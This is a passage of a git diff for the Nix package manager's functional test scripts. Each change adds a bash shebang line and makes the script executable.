b/tests/functional/eval-store.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh # Using `--eval-store` with the daemon will eventually copy everything diff --git a/tests/functional/eval.sh b/tests/functional/eval.sh old mode 100644 new mode 100755 index 502170d14..acd6e2915 --- a/tests/functional/eval.sh +++ b/tests/functional/eval.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/experimental-features.sh b/tests/functional/experimental-features.sh old mode 100644 new mode 100755 index 12112b293..38f198eee --- a/tests/functional/experimental-features.sh +++ b/tests/functional/experimental-features.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh # Skipping these two for now, because we actually *do* want flags and diff --git a/tests/functional/export-graph.sh b/tests/functional/export-graph.sh old mode 100644 new mode 100755 index 1f6232a40..281b5b05b --- a/tests/functional/export-graph.sh +++ b/tests/functional/export-graph.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/export.sh b/tests/functional/export.sh old mode 100644 new mode 100755 index 2238539bc..fce2e333a --- a/tests/functional/export.sh +++ b/tests/functional/export.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/extra-sandbox-profile.sh b/tests/functional/extra-sandbox-profile.sh old mode 100644 new mode 100755 index ac3ca036f..672e5779d --- a/tests/functional/extra-sandbox-profile.sh +++ b/tests/functional/extra-sandbox-profile.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh if [[ $(uname) != Darwin ]]; then skipTest "Need Darwin"; fi diff --git a/tests/functional/fetchClosure.sh b/tests/functional/fetchClosure.sh old mode 100644 new mode 100755 index a02d1ce7a..4026b0790 --- a/tests/functional/fetchClosure.sh +++ b/tests/functional/fetchClosure.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh enableFeatures "fetch-closure" diff --git a/tests/functional/fetchGit.sh b/tests/functional/fetchGit.sh old mode 100644 new mode 100755 index 74d6de4e3..d89d59a81 --- a/tests/functional/fetchGit.sh +++ b/tests/functional/fetchGit.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh requireGit diff --git a/tests/functional/fetchGitRefs.sh b/tests/functional/fetchGitRefs.sh old mode 100644 new mode 100755 index d643fea04..b17cc2090 --- a/tests/functional/fetchGitRefs.sh +++ b/tests/functional/fetchGitRefs.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh requireGit diff --git a/tests/functional/fetchGitSubmodules.sh b/tests/functional/fetchGitSubmodules.sh old mode 100644 new mode 100755 index bd82a0a17..7c5f7b0d6 --- a/tests/functional/fetchGitSubmodules.sh +++ b/tests/functional/fetchGitSubmodules.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh set -u diff --git a/tests/functional/fetchGitVerification.sh b/tests/functional/fetchGitVerification.sh old mode 100644 new mode 100755 index b80e061b5..27f9a8cf5 --- a/tests/functional/fetchGitVerification.sh +++ b/tests/functional/fetchGitVerification.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh requireGit diff --git a/tests/functional/fetchMercurial.sh b/tests/functional/fetchMercurial.sh old mode 100644 new mode 100755 index 9f7cef7b2..f3774fc74 --- a/tests/functional/fetchMercurial.sh +++ b/tests/functional/fetchMercurial.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh [[ $(type -p hg) ]] || skipTest "Mercurial not installed" diff --git a/tests/functional/fetchPath.sh b/tests/functional/fetchPath.sh old mode 100644 new mode 100755 index 29be38ce2..e466e4494 --- a/tests/functional/fetchPath.sh +++ b/tests/functional/fetchPath.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh touch $TEST_ROOT/foo -t 202211111111 diff --git a/tests/functional/fetchTree-file.sh b/tests/functional/fetchTree-file.sh old mode 100644 new mode 100755 index be698ea35..9c9532876 --- a/tests/functional/fetchTree-file.sh +++ b/tests/functional/fetchTree-file.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/fetchurl.sh b/tests/functional/fetchurl.sh old mode 100644 new mode 100755 index a3620f52b..2255dbbdc --- a/tests/functional/fetchurl.sh +++ b/tests/functional/fetchurl.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/filter-source.sh b/tests/functional/filter-source.sh old mode 100644 new mode 100755 index ba34d2eac..c5e10be93 --- a/tests/functional/filter-source.sh +++ b/tests/functional/filter-source.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh rm -rf $TEST_ROOT/filterin diff --git a/tests/functional/fixed.sh b/tests/functional/fixed.sh old mode 100644 new mode 100755 index 7bbecda91..4d07d00cd --- a/tests/functional/fixed.sh +++ b/tests/functional/fixed.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/flakes/absolute-attr-paths.sh b/tests/functional/flakes/absolute-attr-paths.sh old mode 100644 new mode 100755 index 491adceb7..8ed1755c4 --- a/tests/functional/flakes/absolute-attr-paths.sh +++ b/tests/functional/flakes/absolute-attr-paths.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source ./common.sh flake1Dir=$TEST_ROOT/flake1 diff --git a/tests/functional/flakes/absolute-paths.sh b/tests/functional/flakes/absolute-paths.sh old mode 100644 new mode 100755 index e7bfba12d..a355a7a1c --- a/tests/functional/flakes/absolute-paths.sh +++ b/tests/functional/flakes/absolute-paths.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source ./common.sh requireGit diff --git a/tests/functional/flakes/build-paths.sh b/tests/functional/flakes/build-paths.sh old mode 100644 new mode 100755 index 4e5c68095..a336471f0 --- a/tests/functional/flakes/build-paths.sh +++ b/tests/functional/flakes/build-paths.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source ./common.sh flake1Dir=$TEST_ROOT/flake1 diff --git a/tests/functional/flakes/bundle.sh b/tests/functional/flakes/bundle.sh old mode 100644 new mode 100755 index 67bbb05ac..711691e0b --- a/tests/functional/flakes/bundle.sh +++ b/tests/functional/flakes/bundle.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh cp ../simple.nix ../simple.builder.sh ../config.nix $TEST_HOME diff --git a/tests/functional/flakes/check.sh b/tests/functional/flakes/check.sh old mode 100644 new mode 100755 index 0433e5335..3b83dcafe --- a/tests/functional/flakes/check.sh +++ b/tests/functional/flakes/check.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh flakeDir=$TEST_ROOT/flake3 diff --git a/tests/functional/flakes/circular.sh b/tests/functional/flakes/circular.sh old mode 100644 new mode 100755 index d3bb8e8a3..6cab3a72b --- a/tests/functional/flakes/circular.sh +++ b/tests/functional/flakes/circular.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + # Test circular flake dependencies. source ./common.sh diff --git a/tests/functional/flakes/config.sh b/tests/functional/flakes/config.sh old mode 100644 new mode 100755 index d1941a6be..66b917457 --- a/tests/functional/flakes/config.sh +++ b/tests/functional/flakes/config.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh cp ../simple.nix ../simple.builder.sh ../config.nix $TEST_HOME diff --git a/tests/functional/flakes/develop.sh b/tests/functional/flakes/develop.sh old mode 100644 new mode 100755 index e1e53d364..83be2e308 --- a/tests/functional/flakes/develop.sh +++ b/tests/functional/flakes/develop.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source ../common.sh clearStore diff --git a/tests/functional/flakes/flake-in-submodule.sh b/tests/functional/flakes/flake-in-submodule.sh old mode 100644 new mode 100755 index 85a4d3389..2988352a9 --- a/tests/functional/flakes/flake-in-submodule.sh +++ b/tests/functional/flakes/flake-in-submodule.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh # Tests that: diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh old mode 100644 new mode 100755 index 35b0c5d84..3057c0293 --- a/tests/functional/flakes/flakes.sh +++ b/tests/functional/flakes/flakes.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source ./common.sh requireGit diff --git a/tests/functional/flakes/follow-paths.sh b/tests/functional/flakes/follow-paths.sh old mode 100644 new mode 100755 index 1afd91bd2..ea56b9503 --- a/tests/functional/flakes/follow-paths.sh +++ b/tests/functional/flakes/follow-paths.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source ./common.sh requireGit diff --git a/tests/functional/flakes/init.sh b/tests/functional/flakes/init.sh old mode 100644 new mode 100755 index 2d4c77ba1..f8d51e819 --- a/tests/functional/flakes/init.sh +++ b/tests/functional/flakes/init.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source ./common.sh requireGit diff --git a/tests/functional/flakes/inputs.sh b/tests/functional/flakes/inputs.sh old mode 100644 new mode 100755 index 80620488a..0327a3e9e --- a/tests/functional/flakes/inputs.sh +++ b/tests/functional/flakes/inputs.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source ./common.sh requireGit diff --git a/tests/functional/flakes/mercurial.sh b/tests/functional/flakes/mercurial.sh old mode 100644 new mode 100755 index 7074af6f7..0e9f2d626 --- a/tests/functional/flakes/mercurial.sh +++ b/tests/functional/flakes/mercurial.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source ./common.sh [[ $(type -p hg) ]] || skipTest "Mercurial not installed" diff --git a/tests/functional/flakes/prefetch.sh b/tests/functional/flakes/prefetch.sh old mode 100644 new mode 100755 index bfd0533f9..a451b7120 --- a/tests/functional/flakes/prefetch.sh +++ b/tests/functional/flakes/prefetch.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh # Test symlinks in zip files (#10649). diff --git a/tests/functional/flakes/run.sh b/tests/functional/flakes/run.sh old mode 100644 new mode 100755 index 9fa51d1c7..4d8b512b9 --- a/tests/functional/flakes/run.sh +++ b/tests/functional/flakes/run.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source ../common.sh clearStore diff --git a/tests/functional/flakes/search-root.sh b/tests/functional/flakes/search-root.sh old mode 100644 new mode 100755 index 6b137aa86..c2337edc0 --- a/tests/functional/flakes/search-root.sh +++ b/tests/functional/flakes/search-root.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/flakes/show.sh b/tests/functional/flakes/show.sh old mode 100644 new mode 100755 index a3d300552..22e1f4193 --- a/tests/functional/flakes/show.sh +++ b/tests/functional/flakes/show.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source ./common.sh flakeDir=$TEST_ROOT/flake diff --git a/tests/functional/flakes/unlocked-override.sh b/tests/functional/flakes/unlocked-override.sh old mode 100644 new mode 100755 index 8abc8b7d3..680a1505c --- a/tests/functional/flakes/unlocked-override.sh +++ b/tests/functional/flakes/unlocked-override.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source ./common.sh requireGit diff --git a/tests/functional/fmt.sh b/tests/functional/fmt.sh old mode 100644 new mode 100755 index 3c1bd9989..8fc9a3979 --- a/tests/functional/fmt.sh +++ b/tests/functional/fmt.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/function-trace.sh b/tests/functional/function-trace.sh index bd804bf18..71f18b67f 100755 --- a/tests/functional/function-trace.sh +++ b/tests/functional/function-trace.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh set +x diff --git a/tests/functional/gc-auto.sh b/tests/functional/gc-auto.sh old mode 100644 new mode 100755 index 281eef20d..98bb7e60e --- a/tests/functional/gc-auto.sh +++ b/tests/functional/gc-auto.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh needLocalStore "“min-free” and “max-free” are daemon options" diff --git a/tests/functional/gc-concurrent.sh b/tests/functional/gc-concurrent.sh old mode 100644 new mode 100755 index 2c6622c62..67ea3dc74 --- a/tests/functional/gc-concurrent.sh +++ b/tests/functional/gc-concurrent.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/gc-non-blocking.sh b/tests/functional/gc-non-blocking.sh old mode 100644 new mode 100755 index ec280badb..ecfa421fb --- a/tests/functional/gc-non-blocking.sh +++ b/tests/functional/gc-non-blocking.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + # Test whether the collector is non-blocking, i.e. a build can run in # parallel with it. source common.sh diff --git a/tests/functional/gc-runtime.sh b/tests/functional/gc-runtime.sh old mode 100644 new mode 100755 index dc1826a55..2ee72b61e --- a/tests/functional/gc-runtime.sh +++ b/tests/functional/gc-runtime.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh case $system in diff --git a/tests/functional/gc.sh b/tests/functional/gc.sh old mode 100644 new mode 100755 index ad09a8b39..1f216ebc7 --- a/tests/functional/gc.sh +++ b/tests/functional/gc.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/hash-convert.sh b/tests/functional/hash-convert.sh old mode 100644 new mode 100755 index 9b3afc10b..3a099950f --- a/tests/functional/hash-convert.sh +++ b/tests/functional/hash-convert.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh # Conversion with `nix hash` `nix-hash` and `nix hash convert` diff --git a/tests/functional/hash-path.sh b/tests/functional/hash-path.sh old mode 100644 new mode 100755 index 4ad9f8ff2..12605ef71 --- a/tests/functional/hash-path.sh +++ b/tests/functional/hash-path.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh try () { diff --git a/tests/functional/help.sh b/tests/functional/help.sh old mode 100644 new mode 100755 index 868f5d2e9..6436fb500 --- a/tests/functional/help.sh +++ b/tests/functional/help.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/import-derivation.sh b/tests/functional/import-derivation.sh old mode 100644 new mode 100755 index 98d61ef49..53efa1f5d --- a/tests/functional/import-derivation.sh +++ b/tests/functional/import-derivation.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/impure-derivations.sh b/tests/functional/impure-derivations.sh old mode 100644 new mode 100755 index 54ed6f5dd..b59f73c77 --- a/tests/functional/impure-derivations.sh +++ b/tests/functional/impure-derivations.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh requireDaemonNewerThan "2.8pre20220311" diff --git a/tests/functional/impure-env.sh b/tests/functional/impure-env.sh old mode 100644 new mode 100755 index cfea4cae9..3c7df169e --- a/tests/functional/impure-env.sh +++ b/tests/functional/impure-env.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh # Needs the config option 'impure-env' to work diff --git a/tests/functional/impure-eval.sh b/tests/functional/impure-eval.sh old mode 100644 new mode 100755 index 6c72f01d7..33a5ea409 --- a/tests/functional/impure-eval.sh +++ b/tests/functional/impure-eval.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh export REMOTE_STORE="dummy://" diff --git a/tests/functional/lang-test-infra.sh b/tests/functional/lang-test-infra.sh old mode 100644 new mode 100755 index 30da8977b..f32ccef05 --- a/tests/functional/lang-test-infra.sh +++ b/tests/functional/lang-test-infra.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + # Test the function for lang.sh source common.sh diff --git a/tests/functional/lang.sh b/tests/functional/lang.sh index 60603cebe..a853cfd81 100755 --- a/tests/functional/lang.sh +++ b/tests/functional/lang.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh set -o pipefail diff --git a/tests/functional/legacy-ssh-store.sh b/tests/functional/legacy-ssh-store.sh old mode 100644 new mode 100755 index 56b4c2d20..3a1a7b022 --- a/tests/functional/legacy-ssh-store.sh +++ b/tests/functional/legacy-ssh-store.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh store_uri="ssh://localhost?remote-store=$TEST_ROOT/other-store" diff --git a/tests/functional/linux-sandbox.sh b/tests/functional/linux-sandbox.sh old mode 100644 new mode 100755 index e553791d9..e71224f5e --- a/tests/functional/linux-sandbox.sh +++ b/tests/functional/linux-sandbox.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh needLocalStore "the sandbox only runs on the builder side, so it makes no sense to test it with the daemon" diff --git a/tests/functional/logging.sh b/tests/functional/logging.sh old mode 100644 new mode 100755 index 1ccc21d0b..63752f6db --- a/tests/functional/logging.sh +++ b/tests/functional/logging.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/misc.sh b/tests/functional/misc.sh old mode 100644 new mode 100755 index d4379b7ce..9eb80ad22 --- a/tests/functional/misc.sh +++ b/tests/functional/misc.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh # Tests miscellaneous commands. diff --git a/tests/functional/multiple-outputs.sh b/tests/functional/multiple-outputs.sh old mode 100644 new mode 100755 index 330600d08..af9f8af72 --- a/tests/functional/multiple-outputs.sh +++ b/tests/functional/multiple-outputs.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/nar-access.sh b/tests/functional/nar-access.sh old mode 100644 new mode 100755 index 87981e7d9..8839fd043 --- a/tests/functional/nar-access.sh +++ b/tests/functional/nar-access.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh echo "building test path" diff --git a/tests/functional/nested-sandboxing.sh b/tests/functional/nested-sandboxing.sh old mode 100644 new mode 100755 index 61fe043c6..44c3bb2bc --- a/tests/functional/nested-sandboxing.sh +++ b/tests/functional/nested-sandboxing.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh # This test is run by `tests/functional/nested-sandboxing/runner.nix` in an extra layer of sandboxing. [[ -d /nix/store ]] || skipTest "running this test without Nix's deps being drawn from /nix/store is not yet supported" diff --git a/tests/functional/nix-build.sh b/tests/functional/nix-build.sh old mode 100644 new mode 100755 index 44a5a14cd..45ff314c7 --- a/tests/functional/nix-build.sh +++ b/tests/functional/nix-build.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/nix-channel.sh b/tests/functional/nix-channel.sh old mode 100644 new mode 100755 index ca5df3bdd..a4870e7a8 --- a/tests/functional/nix-channel.sh +++ b/tests/functional/nix-channel.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearProfiles diff --git a/tests/functional/nix-collect-garbage-d.sh b/tests/functional/nix-collect-garbage-d.sh old mode 100644 new mode 100755 index bf30f8938..07aaf61e9 --- a/tests/functional/nix-collect-garbage-d.sh +++ b/tests/functional/nix-collect-garbage-d.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/nix-copy-ssh-ng.sh b/tests/functional/nix-copy-ssh-ng.sh old mode 100644 new mode 100755 index 62e99cd24..1fd735b9d --- a/tests/functional/nix-copy-ssh-ng.sh +++ b/tests/functional/nix-copy-ssh-ng.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh source nix-copy-ssh-common.sh "ssh-ng" diff --git a/tests/functional/nix-copy-ssh.sh b/tests/functional/nix-copy-ssh.sh old mode 100644 new mode 100755 index 12e8346bc..1dc256e49 --- a/tests/functional/nix-copy-ssh.sh +++ b/tests/functional/nix-copy-ssh.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh source nix-copy-ssh-common.sh "ssh" diff --git a/tests/functional/nix-profile.sh b/tests/functional/nix-profile.sh old mode 100644 new mode 100755 index 7c4da6283..3e5846cf2 --- a/tests/functional/nix-profile.sh +++ b/tests/functional/nix-profile.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/nix-shell.sh b/tests/functional/nix-shell.sh old mode 100644 new mode 100755 index 04c83138e..c38107e64 --- a/tests/functional/nix-shell.sh +++ b/tests/functional/nix-shell.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/nix_path.sh b/tests/functional/nix_path.sh old mode 100644 new mode 100755 index 2b222b4a1..e6a2193f3 --- a/tests/functional/nix_path.sh +++ b/tests/functional/nix_path.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + # Regression for https://github.com/NixOS/nix/issues/5998 and https://github.com/NixOS/nix/issues/5980 source common.sh diff --git a/tests/functional/optimise-store.sh b/tests/functional/optimise-store.sh old mode 100644 new mode 100755 index 8c2d05cd5..70ce954f9 --- a/tests/functional/optimise-store.sh +++ b/tests/functional/optimise-store.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/output-normalization.sh b/tests/functional/output-normalization.sh old mode 100644 new mode 100755 index 0f6df5e31..2b319201a --- a/tests/functional/output-normalization.sh +++ b/tests/functional/output-normalization.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh testNormalization () { diff --git a/tests/functional/pass-as-file.sh b/tests/functional/pass-as-file.sh old mode 100644 new mode 100755 index 2c0bc5031..21d9ffc6d --- a/tests/functional/pass-as-file.sh +++ b/tests/functional/pass-as-file.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/path-from-hash-part.sh b/tests/functional/path-from-hash-part.sh old mode 100644 new mode 100755 index bdd104434..41d1b7410 --- a/tests/functional/path-from-hash-part.sh +++ b/tests/functional/path-from-hash-part.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh path=$(nix build --no-link --print-out-paths -f simple.nix) diff --git a/tests/functional/path-info.sh b/tests/functional/path-info.sh old mode 100644 new mode 100755 index 763935eb7..8597de683 --- a/tests/functional/path-info.sh +++ b/tests/functional/path-info.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh echo foo > $TEST_ROOT/foo diff --git a/tests/functional/placeholders.sh b/tests/functional/placeholders.sh old mode 100644 new mode 100755 index cd1bb7bc2..f2b8bf6bf --- a/tests/functional/placeholders.sh +++ b/tests/functional/placeholders.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/plugins.sh b/tests/functional/plugins.sh old mode 100644 new mode 100755 index baf71a362..ab4876df9 --- a/tests/functional/plugins.sh +++ b/tests/functional/plugins.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh if [[ $BUILD_SHARED_LIBS != 1 ]]; then diff --git a/tests/functional/post-hook.sh b/tests/functional/post-hook.sh old mode 100644 new mode 100755 index 752f8220c..c0b1ab3aa --- a/tests/functional/post-hook.sh +++ b/tests/functional/post-hook.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/pure-eval.sh b/tests/functional/pure-eval.sh old mode 100644 new mode 100755 index 5334bf28e..6d8aa35ec --- a/tests/functional/pure-eval.sh +++ b/tests/functional/pure-eval.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/read-only-store.sh b/tests/functional/read-only-store.sh old mode 100644 new mode 100755 index 834ac1b51..ecc57642d --- a/tests/functional/read-only-store.sh +++ b/tests/functional/read-only-store.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh enableFeatures "read-only-local-store" diff --git a/tests/functional/readfile-context.sh b/tests/functional/readfile-context.sh old mode 100644 new mode 100755 index 31e70ddb1..76fad9349 --- a/tests/functional/readfile-context.sh +++ b/tests/functional/readfile-context.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/recursive.sh b/tests/functional/recursive.sh old mode 100644 new mode 100755 index 0bf00f8fa..a9966aabd --- a/tests/functional/recursive.sh +++ b/tests/functional/recursive.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh enableFeatures 'recursive-nix' diff --git a/tests/functional/referrers.sh b/tests/functional/referrers.sh old mode 100644 new mode 100755 index 81323c280..898032e42 --- a/tests/functional/referrers.sh +++ b/tests/functional/referrers.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh needLocalStore "uses some low-level store manipulations that aren’t available through the daemon" diff --git a/tests/functional/remote-store.sh b/tests/functional/remote-store.sh old mode 100644 new mode 100755 index e2c16f18a..171a5d391 --- a/tests/functional/remote-store.sh +++ b/tests/functional/remote-store.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/repair.sh b/tests/functional/repair.sh old mode 100644 new mode 100755 index c8f07b1c6..552e04280 --- a/tests/functional/repair.sh +++ b/tests/functional/repair.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh needLocalStore "--repair needs a local store" diff --git a/tests/functional/repl.sh b/tests/functional/repl.sh old mode 100644 new mode 100755 index 222145a7a..fca982807 --- a/tests/functional/repl.sh +++ b/tests/functional/repl.sh @@ -1,4 +1,5 @@ #!/usr/bin/env bash + source common.sh testDir="$PWD" diff --git a/tests/functional/restricted.sh b/tests/functional/restricted.sh old mode 100644 new mode 100755 index 3de26eb36..ab4cad5cf --- a/tests/functional/restricted.sh +++ b/tests/functional/restricted.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/search.sh b/tests/functional/search.sh old mode 100644 new mode 100755 index d9c7a75da..ce17411d2 --- a/tests/functional/search.sh +++ b/tests/functional/search.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/secure-drv-outputs.sh b/tests/functional/secure-drv-outputs.sh old mode 100644 new mode 100755 index 50a9c4428..7d81db58b --- a/tests/functional/secure-drv-outputs.sh +++ b/tests/functional/secure-drv-outputs.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + # Test that users cannot register specially-crafted derivations that # produce output paths belonging to other derivations. This could be # used to inject malware into the store. diff --git a/tests/functional/selfref-gc.sh b/tests/functional/selfref-gc.sh old mode 100644 new mode 100755 index 3f1f50eea..37ce33089 --- a/tests/functional/selfref-gc.sh +++ b/tests/functional/selfref-gc.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh requireDaemonNewerThan "2.6.0pre20211215" diff --git a/tests/functional/shell.sh b/tests/functional/shell.sh old mode 100644 new mode 100755 index 8a3fef3e7..e6bb4b161 --- a/tests/functional/shell.sh +++ b/tests/functional/shell.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/signing.sh b/tests/functional/signing.sh old mode 100644 new mode 100755 index 942b51630..bcbd3b675 --- a/tests/functional/signing.sh +++ b/tests/functional/signing.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/simple.sh b/tests/functional/simple.sh old mode 100644 new mode 100755 index 50d44f93f..846738cbd --- a/tests/functional/simple.sh +++ b/tests/functional/simple.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh drvPath=$(nix-instantiate simple.nix) diff --git a/tests/functional/ssh-relay.sh b/tests/functional/ssh-relay.sh old mode 100644 new mode 100755 index 053b2f00d..059c66434 --- a/tests/functional/ssh-relay.sh +++ b/tests/functional/ssh-relay.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh echo foo > $TEST_ROOT/hello.sh diff --git a/tests/functional/store-info.sh b/tests/functional/store-info.sh old mode 100644 new mode 100755 index 18a8131a9..2398f5beb --- a/tests/functional/store-info.sh +++ b/tests/functional/store-info.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh STORE_INFO=$(nix store info 2>&1) diff --git a/tests/functional/structured-attrs.sh b/tests/functional/structured-attrs.sh old mode 100644 new mode 100755 index 6711efbb4..ba7f5967e --- a/tests/functional/structured-attrs.sh +++ b/tests/functional/structured-attrs.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh # 27ce722638 required some incompatible changes to the nix file, so skip this diff --git a/tests/functional/substitute-with-invalid-ca.sh b/tests/functional/substitute-with-invalid-ca.sh old mode 100644 new mode 100755 index 4d0b01e0f..d8af67237 --- a/tests/functional/substitute-with-invalid-ca.sh +++ b/tests/functional/substitute-with-invalid-ca.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh BINARY_CACHE=file://$cacheDir diff --git a/tests/functional/suggestions.sh b/tests/functional/suggestions.sh old mode 100644 new mode 100755 index f18fefef9..6ec1cd322 --- a/tests/functional/suggestions.sh +++ b/tests/functional/suggestions.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/supplementary-groups.sh b/tests/functional/supplementary-groups.sh old mode 100644 new mode 100755 index d18fb2414..9d474219f --- a/tests/functional/supplementary-groups.sh +++ b/tests/functional/supplementary-groups.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh requireSandboxSupport diff --git a/tests/functional/tarball.sh b/tests/functional/tarball.sh old mode 100644 new mode 100755 index 062f27ad6..ce162ddce --- a/tests/functional/tarball.sh +++ b/tests/functional/tarball.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/test-infra.sh b/tests/functional/test-infra.sh old mode 100644 new mode 100755 index 54ae120e7..37322b356 --- a/tests/functional/test-infra.sh +++ b/tests/functional/test-infra.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + # Test the functions for testing themselves! # Also test some assumptions on how bash works that they rely on. source common.sh diff --git a/tests/functional/test-libstoreconsumer.sh 